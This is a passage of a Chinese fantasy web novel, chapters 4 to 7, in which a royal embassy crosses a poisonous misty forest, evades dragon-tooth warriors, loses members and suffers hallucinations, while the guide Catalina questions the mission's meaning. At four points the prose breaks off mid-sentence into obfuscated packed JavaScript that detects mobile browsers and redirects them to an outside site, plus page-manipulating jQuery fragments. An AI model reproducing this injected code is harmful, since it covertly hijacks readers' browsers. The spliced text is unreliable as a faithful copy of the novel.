但它竟然炸开了，这个格兰德城人心里清楚，这并非是她所能造成的伤害。 这令人寒毛卓立的东西从自身内部迸出一段段扭曲的裂纹，如同蛛网一般由内至外结满全身，随后竟凭空爆成一团齑粉，纷纷扬扬地落到了土地上。 众人围了上来，却也不敢离那些散落在地上的齑粉太近，慌张与茫然间，格兰德城的向导抽出别在腰间的手套戴上，俯身用食指捻起一把粉末细细识别。 “这就是龙牙，”他向围绕过来的众人说明，“龙牙种到地里就会化为战士，它既不会感到疼痛，也不会感到疲惫，它会一直收割入侵者的生命，直到耗尽的那一刻。” “但是它现在碎了，”汤普森脸色苍白，心有余悸，“它应该不会变回去吧？这里还有其它龙牙吗？” “不可能，”罗斯严肃道，“既然是守卫，这里必然不可能只有一枚龙牙，至于刚刚被击碎的那枚——” “不，它不是被我击碎的，”那个砍到龙牙的格兰德城人打断了罗斯的话，她的名字叫作亨特，“它或许是历时太长，耗尽了最后一丝力量才爆体破裂。等一会儿再遇见别的龙牙，我们可不一定有这么好运了，我们必须要马上离开这里！” 伍德和罗斯对视一眼，明白此刻他们已身处险境，若不能尽快离开迷雾森林，方才那名格兰德人的惨状将会不断地复现。 因此他们尽快地将队形调整成一个尖锥形，命令所有人都拿出武器，提高警惕放轻步伐，随后迅速向前方出发。 弗兰茨被安排在队伍的左侧方，往前望去是众人凝重坚毅的神情，向后回看则是距离越来越远的、像钟摆一样钉在树干上的尸体。 他暗暗深吸一口气，再缓缓呼出，让自己的心跳稳定下来。 乐观的设想被抛之脑后，残酷的险境就摆在眼前。 处于危险的环境之中，没有人能替那个无辜的格兰德城人整理遗容埋葬遗体，也没有人能折返而归慰问他的亲人。 因召而来的生命停驻在冰冷的森林，其余人只能向前，再向前，哪怕还会有人因此倒下。 . 或许是诡谲绿雾的缘故，这片森林总是被灰暗笼罩着。 即使仍是白天，太阳也只是化作天边的一个白色小点儿，宁愿轻飘飘地缀在云端，也不肯施舍一线微光。 为了降低遇到龙牙战士的概率，伍德并不打算选择行走在前人开辟出来的大道上，而是带领众人在大道平行的坡路上前行。 暴露的风险降低了，但行进的难度却提高了。 未被开拓过的山坡上，树根高高隆起，如同蛇一样盘踞在地面上，攀附着树干的藤蔓顺着枝条垂落下来，遮蔽了不少微弱的光，这不仅延缓了通过迷雾森林的速度，更使得众人心中生出一种仓惶的感觉，仿佛自己正行走在白天与黑夜交际的边界。 也不知跋涉了多久，太阳已高悬空中，天色仍旧昏暗。 此时，远方大地上传来了声声沉闷的震动，伍德抬手，行进的队伍无声无息地停了下来，他扭头示意，一名身材略显消瘦的使团成员默不作声地从队伍中脱离而出。 他身姿轻盈，静悄悄地朝声源处飘去。 片刻，他又如鬼魅般冒了出来，带来关于远方声响的消息。 原来发出声音的正是一个龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991973|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙战士。 相比起刚才碎成齑粉的龙牙，这一枚龙牙行动起来没有那么敏捷，可以说是十分迟缓，不过它肉眼可见的庞大，力量感十足。 这样看来，龙牙战士也有不同的类型？ 前面碰到的显然是速度型龙牙战士，这一个听上去更像是力量型的，弗兰茨沉思，行动迟缓的力量型龙牙，如果是这样，是否有避开它的视线安全渡过的办法？ 比如将队伍拆分成几个小队，减小并分散龙牙可攻击的目标，趁其不意快速安静地通过后再汇合会更加安全？ 他将想法讲了出来，不出意料引来汤普森的一声冷哼。他没有理会，转头看向使团里的几个领头人。 被默默注视的几人交换了几个眼神后凝神不语，最后承担着整个使团前进决策的伍德表示，再往前走走看到究竟是什么情形之后再做决定。 . 众人小心翼翼地行进了一段距离，感觉来自地面的震动更大了。 不远处，他们甚至能看到龙牙战士投射下的一大团深灰色的影子，几乎要将林间的微光都遮盖掉。 “快藏好！” 伍德压低声音急呵，指挥着众人快速躲进树木的根系下面。 弗兰茨屏住呼吸，透过交错的树根，他看见一枚硕大的龙牙正拖着身体在森林里徘徊。 它的个头足有一座小山那么高，那么大，树丛只能从它的肩膀扫过，它所经之处都被碾成了平地。 毫无疑问，无论哪个人被它捉住，只要它轻轻一攥，那个倒霉蛋都会被挤得脑浆四溅只剩一张薄薄的皮。 只不过，它似乎只在这片区域来回行动，因此这一片的土地被压得尤为平坦的，不见一棵草木，几乎没有能够遮住身形的地方。 而远处，树木依然挺立，张牙舞爪地伸向天际。 看来，只要不引起它的注意，趁它转身行走的时候快速经过，隐入对面的树林之中便可以继续出发。 众人转头看向伍德，等待他做的决策。 或许是想不到更好的办法，伍德采用了弗兰茨的提议。 他将十九人分为四组，不惊扰龙牙的前提下依次通过，随后在前方树林里最高的树木前汇合。 弗兰茨被分到和罗斯、卡塔利娜，以及那名前去探路的使团成员一组。 他们藏在树后，看见龙牙战士轰隆隆地朝另一边挪动，马上从树根底部跳出来，悄然无声地向树林出发。 虽然因为土地被犁平，失去能够遮住身形的树木，但在空旷的平地上前进，方向会更加明确。 瞧着前方最高的树木，四人成功闪进树林。 作为出发的第一组，到达汇合点后四人检查了一下周围，确认暂时没有危险后在树底快速清理出一个空间，闪身而入等待其余人到来。 四人并排蜷着，那名使团成员突然开口：“之前来过的使者，并没有说过这些。” “雷东多。” 罗斯转头叫他，语气严肃，眼神警告他现在不是说这种话的时刻。 雷东多自知失言，他低着头闭紧嘴巴。 一时间，树底弥漫的尽是沉默。 5. 第 5 章 那名格兰德城人的遭遇给所有人都敲响了警钟。 他们没有心里准备吗？ 不。 是有的。 但是早已离去的亡者无法诉说这条路上的惊险，携带荣光归来的胜者则更青睐于讲述能够聚焦目光的传奇故事。 直到同行人在眼前如此突兀又惨烈的死去，鲜血四溅，危机四伏，眼前的一切比那些出发前听闻的传言、雄心壮志的设想要更加残酷，更加无情。 现实的冲击使人心情沉重，弗兰茨靠在树根下，垂头，脚下的泥土湿润，有一只小小的蚂蚁正绕过他的鞋子寻找食物。 当它走到某个与寻常土地无异的地方时，地面突然凹陷下去，一对钳子从泥里翻出，钳住蚂蚁往下拽去。仅在一呼一吸之间，地面又恢复了平静。 可弗兰茨心里明白，看似平和的泥土里正埋伏着狩猎者的螯足。 他错开视线，侧过头去，映入眼帘的是卡塔利娜侧脸。 她双手交错托住下巴，两眼放空，还打了一个大大的哈欠，显得非常从容，甚至不介意向别人展现出“她觉得无聊”的念头。 弗兰茨对此感到疑惑。 可还不等他说些什么，卡塔利娜便径直将头转了过来，明黄色的眼睛直直地对上了他的视线。 . 好灼热。 即使处于放空的状态，右脸传来的视线的热度仍让卡塔利娜难以忽略。 卡塔利娜望着前方悠悠地想，他在看着我，为什么要看着我？ 沉默的树底下，漂浮着焦灼的味道，混杂着惴惴不安和紧张。 卡塔利娜能感知到，这是一种燃烧的味道。 不像在城主府里鲜肉遇到火花后迸发出来的香味，更像是一种烧焦了的羽毛、沉寂了的铁灰的味道。 令人牙酸的、坐立不安的味道。 这里的所有人，都在担忧，在焦躁，在强装镇定。 她可以从这些混杂在一起的情绪里，分辨出他们的主人是谁。 但她却不能理解，不理解为什么会有这样的情绪产生。 所以，他看我的时候，想的到底是什么？ 卡塔利娜眯起眼睛，上下两排牙齿相互切了切，她突然心痒痒的，想要亲自弄明白他到底为什么看着她。 于是，她非常自在地转过了头，与弗兰茨相视。 在纤长下垂的睫毛笼罩之下，她看见了一双灰蓝色的眼睛，如初冬时节雨雾弥漫的清晨，朦胧。 因为忧心，他的眉间叠起一道小小的褶皱，像湖面被暖风吹皱的一小片涟漪；眉梢正往下靠着，使得在鸦黑的眉与眼睫之间那道浅浅折痕显现出来，莫名给人一种脆弱之感。 这是因为我没有表现出害怕而怀疑我？ 还是一种自己害怕，所以向同行人寻求安慰的表现？ 掠过笔挺的鼻管，卡塔利娜的视线继续往下滑，她知道，在扣着的面罩之下，是一个水滴状的人中，和两片苍白的薄薄的唇；通过他上半张脸露出的情绪，她仿佛能看见那两片嘴唇此刻正交叠在一起，使唇角走出一个向下的纹路。 他是怎么想的？ 卡塔利娜饶有兴致地盯着他，看着他原本蹙着眉的脸流露出一丝惊讶，看着他的眼睛不自觉地眨了几下，然后，微弱的光也在他的睫毛上跳动，细碎的，闪亮着，像一把叮零当啷的金币。 她忍不住伸出手去抓—— 她的手僵在了半空，是弗兰茨阻挡了她。 他很错愕，他下意识想要往后躲，但另一边还蹲着人，所以他僵直在原地。 “你要做什么？”弗兰茨压低了声音，“你——” “那你看我做什么？”卡塔利娜反问道。 “你在想什么？”她理直气壮地追问，游刃有余，“你在怀疑我？害怕我？” 他不知道该怎么回答了。 卡塔利娜凑过来的样子，很像那些沉浸在恋爱里的人们会做出来的动作。 然而，这样的举动描述起来会让人觉得暧昧，但卡塔利娜的动作强势又直接，将那些撒娇意味全部消解了；她更像一个身处高位的领主检阅自己领地内应有的财富，不容他人拒绝。 她的表情是理所当然，仿佛她只是做了一件十分寻常的事情，并不觉得这样的动作完全算得上是在冒犯他人。 弗兰茨不明白卡塔利娜的举动，也不理解她为什么能如此顺畅地反客为主，但自小受到的教育使他下意识和她拉开距离。 这不仅是礼仪性质的异性之间该有的相处之道，更是在面对潜在危险时下意识的自保举措。 僵持间，剩余几个小队陆续而至，现在，就只剩下伍德带领的小队还没有到。 十几人在树下等待着，期间天色越发黯淡，太阳正向着来时的方向快速流动，迷雾森林里阴影渐起，可前方仍不见剩余几人的踪迹。 “我去看看他们走到哪儿了，”一个格兰德城人按捺不住站了起来，她有些焦急地提议，“这样干等下去也不是办法。就让我一个人去吧，出了什么事，你们也不必来搭救我；如果还有什么意外情况，我就用哨音提醒你们。” 弗兰茨认出说话的人正是那个男向导的姐妹，她的兄弟被分到了和伍德一组至今未至，她心有所虑再自然不过。 罗斯与亨特表面不显，内心亦有些焦急，听到她的话，相视一眼，便默许了她返回的行动。 随着她的身影渐渐远去，铅一样的云慢慢覆盖上天际。 空气里的温度也逐渐降低，傍晚的风如铁片一般剃过众人的脸庞，呼啸着在树枝间穿梭，发出像哨子一般尖利的叫声。 雷东多“咻——”地站了起来，他伏低身子，将手扣在腰间的佩剑上。 嚁——嚁—— 众人侧耳倾听，分辨这遥遥的声音究竟是风声还是哨音。 嚁——嚁嚁——嚁！ “快走！”罗斯率先反应过来，低声催促，“出事了快走！” 弗兰茨被她拽着胳膊推了一把，匆忙间，他听见远处传来一声撕心裂肺地惊叫，他下意识回头瞥了一眼，看见远处的半空中有一个人在不断地上升—— ——竟是龙牙战士抓住了一个人，然后将他高高地抛了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991974|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' . 太阳彻底地沉寂下去，阴沉的夜重重地压了上来。 危机重重的迷雾森林，使团不仅遗失了太阳的方向，连用来指路的仪器指针也乱转成一团。别无它法，使团只能找一个山洞暂时度过这个夜晚。 因为怕引起龙牙的注意，山洞里并没有燃起火把，众人也保持着沉默。 然而，这样的沉默却不仅仅是为了避开龙的爪牙。 那个向导的姐姐、刚刚主动前往探查的格兰德城人，她将身上背负着的人轻轻放下。伤员的下半身软绵绵的，乱七八糟地从她的身上滚落下来，叠成一团。 他正是那个被龙牙战士肆意抛起的人，也是她的弟弟。 此刻，他躺在阴凉潮湿的泥土里，面上亦是冰凉凉的湿意，那是他姐姐的泪水。 “留在我身边吧，拜托了。” 佩斯感受到他的体温正不断降低，于是她淌着泪，俯下身环抱着他，脸贴着脸，臂膀挨着臂膀，就像他们还处在母亲的肚子里一般，亲密无间，“不要离开我。” 她哀求他，企图维持着那一点儿稀薄的热量。 可是摔断了脊梁、被攥烂了下半身的人要如何在这艰难的环境里坚持下去？ 他并不是不能忍受疼痛，而是不愿做如此没有意义地挣扎；即使他的姐姐愿意背着他继续前进，他又怎会甘愿成为使团前进的累赘？ 他艰难地抬手，握紧了他姐姐的手臂，这一瞬，他那双原本已经蒙上灰色的眼睛突然迸射出耀眼的光亮，生命的活力在这一刻又重新返回到他身上。 这鲜活的瞬间和佩斯记忆里那个年轻活泼的小伙子重叠在了一起。 可这使佩斯更加痛苦了，他们本是一体双生，他们的心意相互连接；她无助地摇着头，说不出一句话，只能用眼神祈求她的兄弟，祈求他不要这么无情，不要如此残忍的对她。 可是他眼里燃烧的火光是如此炙热，烧得她心如刀割。 所以她妥协了，为了她的兄弟最后的一点心愿。 佩斯缓缓闭上眼睛，在他的头发上、面颊上不住地亲吻，最后她的嘴唇在他的额头上轻轻印了一下。 她隔着泪水，深深凝望着他，双手颤抖着拿起一旁的行囊，然后捂在了他的脸上。 他抽搐了一会儿，接着就不动了。 于是，她也不动了，弯着腰默默地坐立在那儿，像一尊凝固了很久的石像。 . 当洞口漂浮的细微轻尘被染成金色的圆粒之时，指引方向的太阳再次升起。 山洞深处，透过四周的昏暗，卡塔利娜看见那个被称呼为佩斯的女人微微动了一下，她从那个被她亲手捂死的男人头上割下一缕头发放于心口，然后她又从洞穴深处搬来了一些碎石将她兄弟的身体掩埋起来。 而当她再次直立起来的时候，她的眼里燃着如同她兄弟一般的热火，仿佛那具身体里承载着两个人灵魂。 “我要杀了它。” 她冷静道，目光从亨特滑到罗斯，又滑到了伍德的身上。 “我要杀了它。” 佩斯又重复地说了一遍。 6. 第 6 章 她说她要杀了它。 卡塔利娜从地上站了起来，她盯着那个死了亲人的人，看着她重新挺直的脊背，心头一阵激荡。 她要杀了它，她要为他杀了它，多有意思啊，卡塔利娜慢慢将呼吸放轻，因此她能感受到胸腔里那颗心脏正在沸腾的岩浆里激烈地跳动着。 “你要怎么杀它？” 无需忍耐，卡塔利娜脱口而出：“你要杀它，怎么杀？你杀得了它？杀得了一条龙？” 这算什么？ 质疑，还是嘲笑？ 这个人为什么能毫无顾忌地说出这种话？ 怒火在胸膛燃烧，佩斯缓缓转过头来，昏暗的环境里，她对上了一双明黄色的、亢奋的眼睛。 如果佩斯再理智一点，观察得更细致一些，她就会发现，这双明黄色眼睛的瞳仁正不断地收缩，像极了蛇或者蜥蜴的眼睛。 可惜，佩斯的大部分理智已经随她的兄弟而去，剩余的都在卡塔利娜挑衅似的话中焚尽了。 她怎么能、怎么能…… 即使是陌生人，也不会轻易在别人失去亲人的时候加以伤害，更何况她的弟弟，身为向导的弟弟，难道没有在路上提供过帮助吗？ 她难道没有接受他提供的面罩，没有收到他的提醒吗？ 她为什么、为什么能说出这样的话？佩斯咬紧了牙，瞪着眼前这个兴奋的人——她是、也是一个向导！ 她和他们一样，不是使团成员，是以向导身份中途加入的，可她作为向导，不仅没有给任何人提供过任何帮助，现在还以这种态度说话！ 佩斯愤恨，两腮因为激动不停抖动：“对，我就是要杀了它，不管结果如何，我就要杀了它！” “为什么？就因为他死了？” 这很有意思，卡塔利娜咧开了一个发自内心的笑。 “卡塔利娜！” 第三个声音打断了她与她的对话，一股风从身侧穿过，卡塔利娜没有闪躲，胳膊被声音的主人攥住了。 是弗兰茨插了进来。 他攥住她的手臂往一旁拉，可卡塔利娜纹丝不动，他只好挡在她的身前，避免两人直接对上使冲突进一步加剧。 “你在说什么？”隔断了佩斯的视线，弗兰茨转过头问她，继而不赞同地摇了摇头，“无论如何，现在都不是说这种话题的时候。” “为什么不是？” 卡塔利娜反问，眉毛高高地扬起，她盯着弗兰茨原本笑意吟吟的脸露出愤怒和错愕，心里涌动着一股恶作剧似的畅快。 她偏过头，目光依次从其他人身上扫过，最后落在了那个傲慢的男人和谨慎的女人身上，她直视他们，挑动其他人：“你们来这儿的目的，难道真是为了杀它吗？ “你们把进贡说成行赏，然后又为了颜面蒙上荣誉，现在有人要不顾你们的‘荣誉’杀了它，为什么不阻止？是因为你们也想杀了它吗？” “……你在胡说八道些什么？！”伍德整张脸都涨红了起来，话像岩浆一样咕嘟咕嘟地冒着泡，“她、因为家人被害口不择言宣泄情绪，我们，你真是——你还说行赏是进贡，还狡辩我们也是为了杀它？！ “你身为向导，一点该干的事都没干，你怎么敢说这种话的？！我真是不明白是谁让你……罗兰先生！你到底是从哪里——” “——团长。” 刚刚一直沉默的罗斯按住了伍德的肩膀，她提醒他：“太阳已经升起来了。” 伍德顿住了，扭头瞪着罗斯，两人僵持片刻，他才把怒火和激动强压了下来。 随后，伍德将山洞里的众人通通扫视了一遍，重申道：“佩斯，对于你弟弟的不幸遭遇我感到很痛惜，他热心又专业，失去他是我们行赏路上的一大损失；我也很明白你的痛苦，但我们此次行赏代表了整个王国，他的牺牲是为了拜里科斯，我希望你能振作起来，替他走完未尽的旅程。在场的诸位，也会替他见证这一荣誉—— “而至于你，卡、不管你叫什么，向导，现在你该履行你身为向导的义务了，你要走在队伍的最前面，明白吗？” 从行驿馆到城主府再到这里，伍德从来没有记住过这个仅仅是被他用于争权夺利的向导的名字，如果不是她刚刚突然发难，他可能都会忘记队伍里面还有这样一个人。 毕竟，她不重要。 而且能够让她加入，本来就是一件至上荣光的事情了，这番敲打的话后，他从未想过她还有什么话要说。 但她说了。 “叫我卡塔利娜。” 这个红头发的向导开口，明黄色的眼睛直直地落在他身上，锋利，令人胆寒。 “叫我卡塔利娜”——不仅人奇怪，语序也很奇怪。 她并不用普通人自我介绍时的方式来说“我叫卡塔利娜”，“叫我卡塔利娜”——这更像是某种居高临下的指示。 这毫不客气地冒犯了他。 一个平民去主动冒犯一位骑士团的骑士，这是一件几乎不可能会发生的事情；更何况这位骑士，现在还担任了荣耀使团的团长，伍德并不相信有哪个平民会如此胆大包天。 但事实如此。 他应该感到不满，感到愤怒，他应该训斥她，树立自己的威严，可他却什么也说不出来，平时拥护他的人也寂静无声。 只有微弱的风从山洞口吹了进来。 . 也许是深入迷雾森林的缘故，太阳仅在升起之时亮了一瞬，而后很快黯淡下去。 众人尽可能地加快步伐，向更东方前行。 随着地势抬高，路上出现的嶙峋山洞和石块渐渐多了起来。风持续地吹，钻过细小的孔洞，在灰蒙蒙的野草间穿梭，发出如长笛般高且长的声音。 天仍然阴沉着，绿茸茸的雾压下来，肉眼可见地浓郁了不少。 弗兰茨走在队伍中间，向前看去，是两条显眼的红色发辫——卡塔利娜作为向导，走在了最前方。 这个，令人惊异的、语无伦次的、手足无措的，人。 她是突然而至，席卷一切的风暴。 面对这样暴烈的风暴，所有人的体面，各异的心思，稳定的礼节，安全的社交模式，就像脆弱的轻飘飘的面纱，只能在无情的风刃中裂成碎片，露出底下想要遮掩的真面目。 令人无法招架。 她是怎么做到的？ 如此毫无顾忌，我行我素，让惯于把控一切的伍德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991975|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都失言，还把“行赏”这种全王国的共识说成“进贡”。 如此无所畏惧。 “你到底是怎么认识这个向导的？害得我们——” 沉思间，小汤普森的声音在耳畔响起，弗兰茨已经习惯他直白的挑衅；但这一次，小汤普森把声音压得很低，话也没有说全，弗兰茨转头看向他，他也只是恶狠狠地瞪了自己一眼，接着又看向前方。 很显然，他顾忌卡塔利娜发现他在背后说她。 “……还把行赏这种荣誉和进贡混淆，没文化！” 小汤普森补充道，连攻击力都下降了不少。 弗兰茨没有理会，反倒将注意力放回了卡塔利娜的话上。 所谓的“进贡”。 一百多年前，拜里科斯王国与一海之隔的维洛兰王国多有摩擦，直到在白岛的归属权上，两国爆发了长达五年的战争，甚至一度将这片美丽的白沙海染成了红色。 两国僵持多年，损失惨重，维洛兰王国为夺下白岛，无视人类默认的规则选择与山地精灵合作，这使得胜利一度向他们倾斜。 幸而在关键时刻，一位平民女子，梅兰妮亚·杜兰德驭龙而来，赤焰燃烧至天际，帮助拜里科斯赢得战争，拿下白岛。 为褒奖杜兰德的勇气与智慧，当时的国王陛下封她为驭龙女士；为震慑维洛兰王国，他极其大方地将白岛靠东一侧分给助战的红龙居住，而白岛西侧则建立格兰德城，并声称红龙永远是拜里科斯最好的宾客。 王国绝不亏待勇者与真心的客人，因此往后的每二十年，拜里科斯便会派遣荣誉使团前往龙穴行赏。 这一举动不仅是为了彰显拜里科斯对曾经相助者的慷慨，也是一种隐藏的威慑——对维洛兰王国的威慑。 第一个二十年，前往龙穴行赏的自然是驭龙女士，第二个二十年，行赏的主心骨也还是她，但到了第三个二十年—— 驭龙女士老了，眼睛花了，旧伤带来的病痛像藤蔓一样缠上她的双膝和脊梁，当初亲历过这场战争的人也少了，新王与年轻人们体谅他们的难处，于是，尽管驭龙女士还想再见一见被她驯服的龙，踏上格兰德城的来使中再也没有出现过她的身影。 再往后，行赏被赋予了更多的意味，历练、荣誉、出人头地、奖赏…… 即使这条前往龙穴的路生出许多危险，想要成为使团成员的人也越来越多，但“行赏”的性质却从未被人质疑过。 毕竟，除了“行赏”，还会是什么呢？ 卡塔利娜说是进贡。 进贡，与行赏完全不同的性质，意味着拜里科斯仰仗龙的庇护，祈求龙的帮助，龙是拜里科斯与维洛兰之间天然的屏障。 有龙在，拜里科斯就再也不用担心维洛兰的进攻。 多么荒谬的说法，如果真如卡塔利娜所言，这不是一次荣耀的“行赏”，而只是卑微的“进贡”，那么拜里科斯这么多年这么多人都在茫茫追逐些什么？那些归来后受人尊敬的使者们，又算些什么？ 驭龙女士的“驭龙”，难道从一开始就不是真的？ 弗兰茨并不是轻信他人言语的性格，但这一次，他看着卡塔利娜火焰一般的红发，不由得沉思起来。 7. 第 7 章 跨越隆起的树根，翻过横斜的石块，在卡塔利娜的带领下，众人并未遇见过龙牙战士，也没有遭受来自暗处攻击。 半天时间就在这样有惊无险的跋涉中渡过，但是，没有及时更换的面罩和大幅度动作使得所有人不由自主地深呼吸起来。 一缕细细的、几不可见的绿丝，就在这种时刻顺着面罩小小的孔隙溜进众人的口鼻，游走至全身。 所有人几乎在同时感受到一股不可明说的快意，精神与身体逐渐放松起来。 弗兰茨的步伐变得轻盈，他感觉自己踩在了羽毛上。 方才崎岖的山路被捋直、擀开，逐渐变得平坦，地上阻人的碎石正旋转着往天上落。 伴随着悠扬的笛声，他的身体越来越轻快，就连出发后一直坠在心间的石头都快要拽不住他。 好久没有这么快活的行走了！ 不仅是身体，就连心脏都轻得要从嘴里飞出来，抛开卡塔利娜带来的疑惑，那些长久沉积在心底的忧郁也开始融化。弗兰茨的面颊上不由得浮起一个快乐的微笑。 他快活地大步向前跑去，跌跌撞撞地扑到了一棵树上。 那棵树也不恼，只是微微回头瞥了他一眼，带着醉酒般的红晕。 啊，它好像，好像我认识的一个人。 弗兰茨怔愣了一下，毕竟他从未见过一棵长着人脸的树。 然后他又开始迷蒙地思考，思考他到底在哪儿见过这张脸。 在哪里？在哪里？ 四处游荡的思维使他原本清爽的头脑运转得晕乎乎的，几乎快要烧起来。 好烫，是什么这么烫？！ 不止是头脑，忽然变得灼热的空气让他难以忍受地喘了几声。 深呼吸几下，弗兰茨眨了眨眼，灰绿相交的视线里涌进一大片燃烧着的红色，那是被朝阳点燃的连绵不断的原野。 他向前远眺，在那赤红的原野的尽头，与两只浅褐色的竖瞳对上了视线。 它们伴随着狂风呼啸而来，吹来的红浪遮天蔽日。 弗兰茨眯起眼睛辨认，才发现那是一头极具野性的、粗犷又美丽的红龙。 嘭——！ 被那炽烈的红色迷住了眼，弗兰茨来不及躲闪，狠狠地撞到了龙的头，他吃痛地叫了一声，睁开眼。 卡塔利娜正抓着他的两只耳朵，审视片刻，问道：“清醒了么？” 见他没有说话，卡塔利娜皱了皱眉，头开始向后仰，然后立即撞了过来。 “等等、啊！” 弗兰茨捂住额头，这才明白他刚刚撞上的不是什么坚硬无比的巨龙，而是卡塔利娜的头。 为了确定他是真的清醒，此刻，卡塔利娜正紧紧贴在他的面前，眼珠一转不转地盯着他。 “我没事，卡塔利娜。” 弗兰茨揉着额头，一边暗暗吸气，一边从她铁臂的桎梏下挣扎出来，他向后退了两步，环顾四周。 还有些模糊的视野里，他看见其余人桃红的面容上映着餍足的快活的笑容，他们的四肢胡乱地软成一团，显然是陷入了某种诱人的幻境。 “醒醒！” 弗兰茨哑着嗓子大喊，正要上前叫醒其他人，不料脚下一绊，往前撑着地面的手压到了一个棍状物体。 他下意识低头看了一眼，心脏短促地痉挛了一下。 那是一根人的骨头。 毫无疑问，这根骨头的主人在生前很有可能和他们一样陷入了幻觉，并极不幸的在永恒的迷梦里丧失生命。 弗兰茨看着一张张沉醉的脸，心里腾升起一丝后怕。 假如卡塔利娜没有及时把他从幻觉中扯出，那么他们的下场将会和那根骨头的主人一样在虚假中踏上亡路。 . “为崇高的荣誉战斗，为光辉的王国挺身！威廉·伍德，神圣骑士团骑士长、荣誉使团团长、以及——屠龙者！你为拜里科斯消除红龙的威胁，为夺取旧物、拿下维洛兰奠定必不可少的基础。 “英勇无畏，坚韧不拔，在太阳永恒的光辉之下，今日，我将册封你为——” 屠龙成功后的第三十日，砍下红龙脑袋的伍德在典礼上双手持剑，被当今国王册封为爵士。 即使典礼上应保持冷静，但内心渴望有朝一日终得以实现，伍德几乎要控制不住将将裂开的嘴角。 被当作诱饵用掉的替死鬼，滚落在地燃着龙焰的异种头颅还历历在目，可昨日惊险业已过去，今日荣誉唾手可得。 在这期待已久的时刻，在众人的目光环绕中，伍德的心根本无法安宁，一直重重地撞击着胸膛，嘭嘭嘭嘭，颤抖得快要从嘴里呕吐出去；嘭嘭嘭嘭，就连脸上的肌肉也抽搐个不停，为了控制住自己，他只好往自己脸上抽了几个巴掌。 “醒醒！” 为什么我要抽自己巴掌？ “伍德，清醒一点！” 伍德迷惑地眨眨眼，却见那本应不在的人正拍打着自己的脸。 喜悦的笑容凝固在脸上，诧异的心情冷却了头脑，他喘着粗气，茫然地瘫坐在地上。 围绕在他身旁的不再是大殿的石柱，耀眼的冠冕和华丽的绸缎，而是压在头上绿毛毛般的雾，萧瑟的风，以及从土里冒出半截的灰白色的骨。 到底发生了什么？ 伍德看着那个把自己从未来拉回到过去的人，那个装腔作势的讨厌鬼——理智告诉他刚刚所经历的一切不过是迷雾送来的幻觉，眼前所见才是现实。 可是，当他和弗兰茨对上视线的那一刻，莫名的恼怒、厌恶、憎恨，种种负面情绪不可控制的、交杂着在内心深处蔓延。 “……你还好吗，佩斯？” 亨特托住佩斯的胳膊，将她从地上扶了起来。 在幻觉中与弟弟重见的佩斯正难以自抑地哆嗦，但很快便她抹掉了泪水，将痛苦强压下去。 “我没事，”她说，“继续向前出发吧，团长、向导。” . 有龙牙战士和迷雾的双重威胁，众人将警惕提至最高，好在最后一段路并无意外发生，他们在银月初升之时走出了迷雾森林。 从离开格兰德城至今，太阳不过才升起落下了三回，众人已是受尽了精神和□□上的双重折磨。 随着地势拔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991976|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高，夜寒雾浓，为更好的状态与体力，罗斯提议原地休整，明日再出发。 伍德阴沉着脸，却也没有异议。 驻扎地中，已经有人开辟出一片空地用来生火，火堆上也架着几个小铁罐烧水。 弗兰茨从行囊中掏出一只巴掌大的密封铁盒，撬掉盖子，在浸满了油的铁盒中塞了一张油纸，将铁盒置于一块裸露的石头之上，再点燃油纸。 铁盒里，火腿的脂肪开始燃烧，弗兰茨借着油脂燃烧起来的火苗又在铁盒上面吊起一小罐水，并将采集而来的蘑菇切片丢进烧开的水中。 等到铁盒内的多余油脂被燃尽，蘑菇汤也煮好了。一位格兰德城人见状给他递来少许盐块，弗兰茨掰了一点放到汤里，再把铁盒内烤好的火腿肉取出放在盖子上切片。 虽说一行人隐隐分成了几个阵营，可鲜美的蘑菇汤能滋润干涩的喉咙抚慰疲惫的身体，咸香的火腿可以满足唇舌咀嚼的渴望，再配上饱腹感十足的黑麦面包——这样的晚餐放在平时也许有些简陋，但身处物质匮乏的野外，已是十分奢侈的大餐。 